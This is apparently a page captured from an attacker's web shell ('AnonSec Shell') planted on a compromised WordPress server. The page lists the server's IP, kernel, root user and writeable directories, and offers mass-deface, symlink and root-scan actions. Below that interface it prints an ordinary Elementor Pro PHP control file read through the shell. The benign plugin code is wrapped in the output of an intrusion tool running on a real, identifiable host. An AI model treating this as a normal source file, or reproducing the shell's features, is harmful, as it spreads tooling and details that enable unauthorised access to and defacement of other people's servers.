AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/elementor-pro/modules/query-control/controls/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/elementor-pro/modules/query-control/controls/template-query.php
<?php
namespace ElementorPro\Modules\QueryControl\Controls;

use Elementor\Control_Select2;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Template_Query extends Control_Select2 {

	const CONTROL_ID = 'template_query';

	/**
	 * @return string
	 */
	public function get_type() {
		return static::CONTROL_ID;
	}

	public function content_template() {
		parent::content_template();
		?>
			<div class="elementor-template-query-control-actions">
				<# if ( data.actions.new.visible ) { #>
					<button
						type="button"
						class="elementor-button"
						data-action="new"
						data-after-action="{{ data.actions.new.after_action }}"
					>
						{{ data.actions.new.label }}
					</button>
				<# } #>
				<# if ( data.actions.edit.visible ) { #>
					<button
						type="button"
						class="elementor-button"
						data-action="edit"
						data-after-action="{{ data.actions.edit.after_action }}"
					>
						{{ data.actions.edit.label }}
					</button>
				<# } #>
			</div>
		<?php
	}

	/**
	 * @return array
	 */
	protected function get_default_settings() {
		return array_replace_recursive(
			parent::get_default_settings(),
			[
				'query' => '',
				'actions' => [
					'new' => [
						'visible' => false,
						'label' => __( 'Create template', 'elementor-pro' ),
						'document_config' => [
							'type' => null,
						],
						'after_action' => 'switch_document',
					],
					'edit' => [
						'visible' => false,
						'label' => __( 'Edit template', 'elementor-pro' ),
						'after_action' => 'switch_document',
					],
				],
			]
		);
	}
}

Anon7 - 2022
AnonSec Team